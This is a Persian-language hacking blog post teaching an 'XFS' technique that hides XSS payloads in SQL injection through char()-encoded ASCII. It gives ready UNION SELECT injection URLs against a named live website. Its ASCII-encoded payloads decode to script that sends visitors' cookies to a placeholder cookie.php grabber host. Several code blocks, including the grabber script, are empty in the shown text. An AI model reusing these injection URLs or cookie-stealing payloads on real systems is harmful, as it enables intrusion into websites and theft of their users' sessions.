مقاله اموزشی کامل متد XFS ( حملات XSS با استفاده از SQL Injection) به فارسی
پیغام مدیر :
با سلام خدمت شما بازديدكننده گرامي ، خوش آمدید به سایت من . لطفا براي هرچه بهتر شدن مطالب اين وب سایت ، ما را از نظرات و پيشنهادات خود آگاه سازيد و به ما را در بهتر شدن كيفيت مطالب ياري کنید.
بازدید : 109
نویسنده : مولوی

نویسنده : Http://Askn
تمامی حقوق این مقاله متعلق به تیم اشیانه میباشد.


شاید باورتون نشه اما خیلی از کسایی که چندین ساله SQL Injection انجام میدن از این متد با خبر نیستن!


XFS چیست ؟

XFS نوعی از حملات SQL Injection تحریف شده میباشد که به هکر اجازه میدهد با استفاده از تابع ()char کد های جاوا اسکریپت را اجرا کند.
وظیفه تابع ()char تبدیل کدهای اسکی به کاراکتر است که ما میتوانیم با استفاده از انها کدهای جاوا اسکریپت را اجرا کنیم. حملات XFS اغلب مواقع در حملات XSS و دزدین کوکی ها و واضحا SQL Injection استفاده میشوند.

نیاز ما برای این حملات چیست ؟

- تبدیل دستورات مخرب به کد اسکی
- استفاده از تابع ()char

---------------------------------------------------------------------------------------------------

مثال :

در ابتدا اولین چیزی که شما نیاز دارید تبدیل کننده به کد های اسکی است و شما این کار را با رفتن به سایت زیر میتوانین انجام بدین :

کد:
http://www.easycalculation.com/ascii-hex.php

بنابراین اگر شما دستور مخرب را در تابع ()char قرار بدین میتوانید کد های جاوا اسکریپت را اجرا کنید بنابر این شما میتوانید حمله XSS انجام بدین ولی در هنگام نوشتن و یا تبدیل کردن کد مخرب به کد اسکی شما به هیچ وجه نباید از فاصله (Space) استفاده کنید.


اما با این حال میتوانید حمله را انجام داده و کوکی را دزدیده و یا خیلی کارهای دیگری انجام بدین:



برای مثال کد شما قبل از تبدیل به شکل زیر نمیتواند باشد :




کد:

چرا ؟! به خاطر این که کد بالا شامل فاصله (Space) میباشد.



کد زیر نمونه از یک کد صیح میباشد که اماده برای تبدیل به کد اسکی است :




کد:

که پس از تبدیل به شکل زیر شبیه خواهد بود :





کد:
60 115 99 114 105 112 116 62 97 108 101 114 116 40 100 111 99 117 109 101 110 116 46 99 111 111 107 105 101 41 60 47 115 99 114 105 112 116 62

اما قبل از این که کدها در تابع ()char قرار بگیرند , فاصله هایی که در کدهای تبدیل شده به اسکی وجود دارند باید تبدیل به "," بشوند.



به مثال زیر توجه کنید :




کد:
char(60,115,99,114,105,112 ....)

خب تنها کاری که من کردم یک char نوشتم و پرانتزی جلوی ان باز کردم و کدهایی که تبدیل به اسکی شده بودن را در ان پرانتز قرار دادم و فاصله هایی که در کدهای تبدیل شده به اسکی بود را به "," تبدیل کردم .



خب من از قبل یه تارگت خوب پیدا کردم و تعداد کلومن هاش رو با یک اینجکشن ساده بدست اوردم . خب حالا به مثال زیر خوب دقت کنید :




کد:
http://www.pentagonusa.com/projects/archive.php?CategoryID=-98.9+union+select+1,2,char(ASCII_CODE),4,5,6,7,8,9,10,11,12--

خب کلومن 3 که در صفحه نمایش داده میشود رو من بهش میتونم کد اسکی رو تزریق کنم.



یه مثالی که اجرا خواهیم کرد کد زیر است :




کد:

که اگر به کد اسکی تبدیل کنم کد زیر خواهد بود :



کد:
60 83 67 82 73 80 84 62 97 108 101 114 116 40 39 120 115 115 39 41 60 47 115 99 114 105 112 116 62

حال برای تست , کد را که بخواهیم تزریق کنیم به شکل زیر خواهد بود :




کد:
http://www.pentagonusa.com/projects/archive.php?CategoryID=-1+union+select+1,2,char%2860,83,67,82,73,80,84,62,97,108,101,114,116,40,39,120,115,115,39,41,60,47,115,99,114,105,112,116,62%29,4,5,6,7,8,9,10,11,12--

حال شما میتوانید کوکی را با استفاده از دستور زیر بدزدین . به مثال زیر توجه کنین :



کد:

تبدیل شده به کد اسکی :



کد:
60 83 67 82 73 80 84 62 108 111 99 97 116 105 111 110 46 104 114 101 102 61 39 104 116 116 112 58 47 47 119 119 119 46 121 111 117 114 115 105 116 101 46 99 111 109 47 99 111 111 107 105 101 46 112 104 112 63 99 111 111 107 105 101 61 39 43 101 115 99 97 112 101 40 100 111 99 117 109 101 110 116 46 99 111 111 107 105 101 41 60 47 83 67 82 73 80 84 62

فایل cookie.php اسکریپتی برای دزدین کوکی میباشد.


کد زیر اسکریپتی در زبان PHP است که شما میتوانید ان را در جایی اپلود کرده و به جای ادرس زیر که در کد بالا قرار داده بودم قرار بدهید:



کد:
'http://www.yoursite.com/cookie.php?


اینم اسکریپت کوکی گربر ( اسکریپتی برای دزدین کوکی : )



کد:
 

امیدوارم خوشتون امده باشه.



فقط کاری با تارگت نداشته باشین و بگذارین همه از این مقاله استفاده کنند.


www.mahdipc.tk http://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.comhttp://www.tak-20.com
سایت خدماتی تک بیست

:: موضوعات مرتبط: هک وامنیت , ,



مطالب مرتبط با این پست
.



می توانید دیدگاه خود را بنویسید


نام
آدرس ایمیل
وب سایت/بلاگ
:) :( ;) :D
;)) :X :? :P
:* =(( :O };-
:B /:) =DD :S
-) :-(( :-| :-))
نظر خصوصی

 کد را وارد نمایید:

آپلود عکس دلخواه: